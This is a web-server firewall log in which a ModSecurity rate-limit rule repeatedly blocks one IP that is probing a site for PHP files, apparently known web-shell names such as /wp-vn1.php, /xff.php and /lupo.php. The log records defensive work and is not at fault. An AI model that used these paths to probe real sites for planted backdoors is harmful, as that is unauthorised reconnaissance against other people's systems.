[Fri Apr 10 23:29:16.589816 2026] [:error] [pid 63062:tid 63067] [client 158.158.53.142:48839] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-vn1.php"] [unique_id "adkXTJ2HtsmV85NqkMcRKwAAA4M"]
[Fri Apr 10 23:29:17.083476 2026] [:error] [pid 62819:tid 62837] [client 158.158.53.142:51492] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "adkXTfU20EyPf7NlsleFagAAAo8"]
[Fri Apr 10 23:29:17.635128 2026] [:error] [pid 62710:tid 62725] [client 158.158.53.142:50137] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "adkXTeME7qrf5xEWWJtHigAAAgw"]
[Fri Apr 10 23:29:18.150434 2026] [:error] [pid 13189:tid 13209] [client 158.158.53.142:52125] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "adkXTpAxiJKPums3eBAMOQAAAFE"]
[Fri Apr 10 23:29:18.670587 2026] [:error] [pid 62769:tid 62794] [client 158.158.53.142:52107] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "adkXTsWsSnfLoB8ifjDCsAAAAlc"]
[Fri Apr 10 23:29:19.227750 2026] [:error] [pid 62769:tid 62795] [client 158.158.53.142:48853] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "adkXT8WsSnfLoB8ifjDCtgAAAlg"]
[Fri Apr 10 23:29:19.790517 2026] [:error] [pid 13189:tid 13202] [client 158.158.53.142:49498] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "adkXT5AxiJKPums3eBAMQgAAAEo"]
[Fri Apr 10 23:29:20.343281 2026] [:error] [pid 62710:tid 62718] [client 158.158.53.142:50115] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "adkXUOME7qrf5xEWWJtHkAAAAgU"]
[Fri Apr 10 23:29:20.844836 2026] [:error] [pid 62769:tid 62790] [client 158.158.53.142:49474] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kikikoko.php"] [unique_id "adkXUMWsSnfLoB8ifjDCyQAAAlM"]
[Fri Apr 10 23:29:21.449159 2026] [:error] [pid 13189:tid 13210] [client 158.158.53.142:52152] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adkXUZAxiJKPums3eBAMRQAAAFI"]
[Fri Apr 10 23:29:22.020548 2026] [:error] [pid 13189:tid 13202] [client 158.158.53.142:49513] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adkXUpAxiJKPums3eBAMTQAAAEo"]
[Fri Apr 10 23:29:22.654486 2026] [:error] [pid 62710:tid 62727] [client 158.158.53.142:48832] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adkXUuME7qrf5xEWWJtHkwAAAg4"]
[Fri Apr 10 23:29:23.179463 2026] [:error] [pid 62769:tid 62776] [client 158.158.53.142:48843] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nwflm.php"] [unique_id "adkXU8WsSnfLoB8ifjDC5gAAAkU"]
[Fri Apr 10 23:29:23.721951 2026] [:error] [pid 62769:tid 62790] [client 158.158.53.142:49481] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adkXU8WsSnfLoB8ifjDC8QAAAlM"]
[Fri Apr 10 23:29:24.278352 2026] [:error] [pid 62769:tid 62787] [client 158.158.53.142:48865] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adkXVMWsSnfLoB8ifjDC-gAAAlA"]
[Fri Apr 10 23:29:24.752783 2026] [:error] [pid 62769:tid 62788] [client 158.158.53.142:50147] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adkXVMWsSnfLoB8ifjDDAwAAAlE"]
[Fri Apr 10 23:29:25.234990 2026] [:error] [pid 62769:tid 62771] [client 158.158.53.142:48942] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adkXVcWsSnfLoB8ifjDDDgAAAkA"]
[Fri Apr 10 23:29:25.734770 2026] [:error] [pid 62769:tid 62795] [client 158.158.53.142:48892] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adkXVcWsSnfLoB8ifjDDFAAAAlg"]
[Fri Apr 10 23:29:26.246479 2026] [:error] [pid 62769:tid 62792] [client 158.158.53.142:52091] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adkXVsWsSnfLoB8ifjDDHgAAAlU"]
[Fri Apr 10 23:29:26.797404 2026] [:error] [pid 62710:tid 62719] [client 158.158.53.142:7753] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adkXVuME7qrf5xEWWJtHlQAAAgY"]
[Fri Apr 10 23:29:27.317969 2026] [:error] [pid 62769:tid 62790] [client 158.158.53.142:50144] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adkXV8WsSnfLoB8ifjDDKgAAAlM"]
[Fri Apr 10 23:29:28.102702 2026] [:error] [pid 62769:tid 62787] [client 158.158.53.142:49500] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adkXWMWsSnfLoB8ifjDDMwAAAlA"]
[Fri Apr 10 23:29:28.632710 2026] [:error] [pid 13189:tid 13193] [client 158.158.53.142:49493] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adkXWJAxiJKPums3eBAMaQAAAEE"]
[Fri Apr 10 23:29:29.134930 2026] [:error] [pid 62769:tid 62780] [client 158.158.53.142:48958] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adkXWcWsSnfLoB8ifjDDPgAAAkk"]
[Fri Apr 10 23:29:29.622100 2026] [:error] [pid 62769:tid 62795] [client 158.158.53.142:50162] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adkXWcWsSnfLoB8ifjDDSgAAAlg"]
[Fri Apr 10 23:29:30.165476 2026] [:error] [pid 63134:tid 63157] [client 158.158.53.142:50142] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adkXWtFALqPDwWi6eJLKOAAAA9Q"]
[Fri Apr 10 23:29:30.695837 2026] [:error] [pid 62710:tid 62713] [client 158.158.53.142:48910] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adkXWuME7qrf5xEWWJtHmgAAAgA"]
[Fri Apr 10 23:29:31.228007 2026] [:error] [pid 13101:tid 13148] [client 158.158.53.142:49472] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adkXW98Ldw85818pj2ohWgAAAI8"]
[Fri Apr 10 23:29:31.742320 2026] [:error] [pid 62710:tid 62734] [client 158.158.53.142:52105] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adkXW-ME7qrf5xEWWJtHmwAAAhU"]
[Fri Apr 10 23:29:32.239905 2026] [:error] [pid 62710:tid 62732] [client 158.158.53.142:52143] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adkXXOME7qrf5xEWWJtHoAAAAhM"]
[Fri Apr 10 23:29:32.719960 2026] [:error] [pid 63134:tid 63141] [client 158.158.53.142:48904] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adkXXNFALqPDwWi6eJLKQQAAA8Q"]
[Fri Apr 10 23:29:33.193839 2026] [:error] [pid 62769:tid 62791] [client 158.158.53.142:52100] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adkXXcWsSnfLoB8ifjDDVgAAAlQ"]
[Fri Apr 10 23:29:33.734314 2026] [:error] [pid 13101:tid 13140] [client 158.158.53.142:52098] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "adkXXd8Ldw85818pj2ohaAAAAIc"]
[Fri Apr 10 23:29:34.239851 2026] [:error] [pid 62819:tid 62837] [client 158.158.53.142:51501] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adkXXvU20EyPf7NlsleFfAAAAo8"]
[Fri Apr 10 23:29:34.716987 2026] [:error] [pid 13101:tid 13157] [client 158.158.53.142:52116] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adkXXt8Ldw85818pj2ohbAAAAJg"]
[Fri Apr 10 23:29:35.298312 2026] [:error] [pid 62769:tid 62788] [client 158.158.53.142:48854] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adkXX8WsSnfLoB8ifjDDXwAAAlE"]
[Fri Apr 10 23:29:35.954654 2026] [:error] [pid 63062:tid 63074] [client 158.158.53.142:51459] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adkXX52HtsmV85NqkMcRRAAAA4o"]
[Fri Apr 10 23:29:36.581794 2026] [:error] [pid 63062:tid 63083] [client 158.158.53.142:48883] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adkXYJ2HtsmV85NqkMcRSAAAA5M"]
[Fri Apr 10 23:29:37.247256 2026] [:error] [pid 62769:tid 62781] [client 158.158.53.142:50122] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adkXYcWsSnfLoB8ifjDDYwAAAko"]
[Fri Apr 10 23:29:37.808516 2026] [:error] [pid 13189:tid 13196] [client 158.158.53.142:48935] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adkXYZAxiJKPums3eBAMiAAAAEQ"]
[Fri Apr 10 23:29:38.324444 2026] [:error] [pid 13189:tid 13207] [client 158.158.53.142:48916] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adkXYpAxiJKPums3eBAMigAAAE8"]
[Fri Apr 10 23:29:38.975210 2026] [:error] [pid 62651:tid 62667] [client 158.158.53.142:50131] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adkXYjbAH0le57SIaqw5PQAAAc4"]
[Fri Apr 10 23:29:39.480957 2026] [:error] [pid 13189:tid 13201] [client 158.158.53.142:50171] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adkXY5AxiJKPums3eBAMjAAAAEk"]
[Fri Apr 10 23:29:40.042087 2026] [:error] [pid 62884:tid 62907] [client 158.158.53.142:48947] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adkXZOUCK1xrhnnmpo2begAAAtA"]
[Fri Apr 10 23:29:40.511786 2026] [:error] [pid 13101:tid 13145] [client 158.158.53.142:51511] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adkXZN8Ldw85818pj2ohfwAAAIw"]
[Fri Apr 10 23:29:41.056122 2026] [:error] [pid 13189:tid 13200] [client 158.158.53.142:51467] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adkXZZAxiJKPums3eBAMkAAAAEg"]
[Fri Apr 10 23:29:41.579999 2026] [:error] [pid 13189:tid 13215] [client 158.158.53.142:8019] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adkXZZAxiJKPums3eBAMkwAAAFc"]
[Fri Apr 10 23:29:42.191984 2026] [:error] [pid 13189:tid 13212] [client 158.158.53.142:49532] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adkXZpAxiJKPums3eBAMmQAAAFQ"]
[Fri Apr 10 23:29:42.855916 2026] [:error] [pid 62651:tid 62672] [client 158.158.53.142:52148] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adkXZjbAH0le57SIaqw5QgAAAdM"]
[Fri Apr 10 23:29:43.564574 2026] [:error] [pid 62769:tid 62771] [client 158.158.53.142:48932] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adkXZ8WsSnfLoB8ifjDDdAAAAkA"]
[Fri Apr 10 23:29:44.154971 2026] [:error] [pid 62769:tid 62774] [client 158.158.53.142:52042] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adkXaMWsSnfLoB8ifjDDeAAAAkM"]
[Fri Apr 10 23:29:44.675076 2026] [:error] [pid 62769:tid 62788] [client 158.158.53.142:48844] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adkXaMWsSnfLoB8ifjDDfQAAAlE"]
[Fri Apr 10 23:29:45.194086 2026] [:error] [pid 13101:tid 13143] [client 158.158.53.142:51489] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adkXad8Ldw85818pj2ohjAAAAIo"]
[Fri Apr 10 23:29:45.702144 2026] [:error] [pid 13189:tid 13197] [client 158.158.53.142:48931] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adkXaZAxiJKPums3eBAMpQAAAEU"]
[Fri Apr 10 23:29:46.291298 2026] [:error] [pid 62651:tid 62660] [client 158.158.53.142:49491] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adkXajbAH0le57SIaqw5RQAAAcc"]
[Fri Apr 10 23:29:46.848006 2026] [:error] [pid 13189:tid 13196] [client 158.158.53.142:51488] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adkXapAxiJKPums3eBAMqgAAAEQ"]
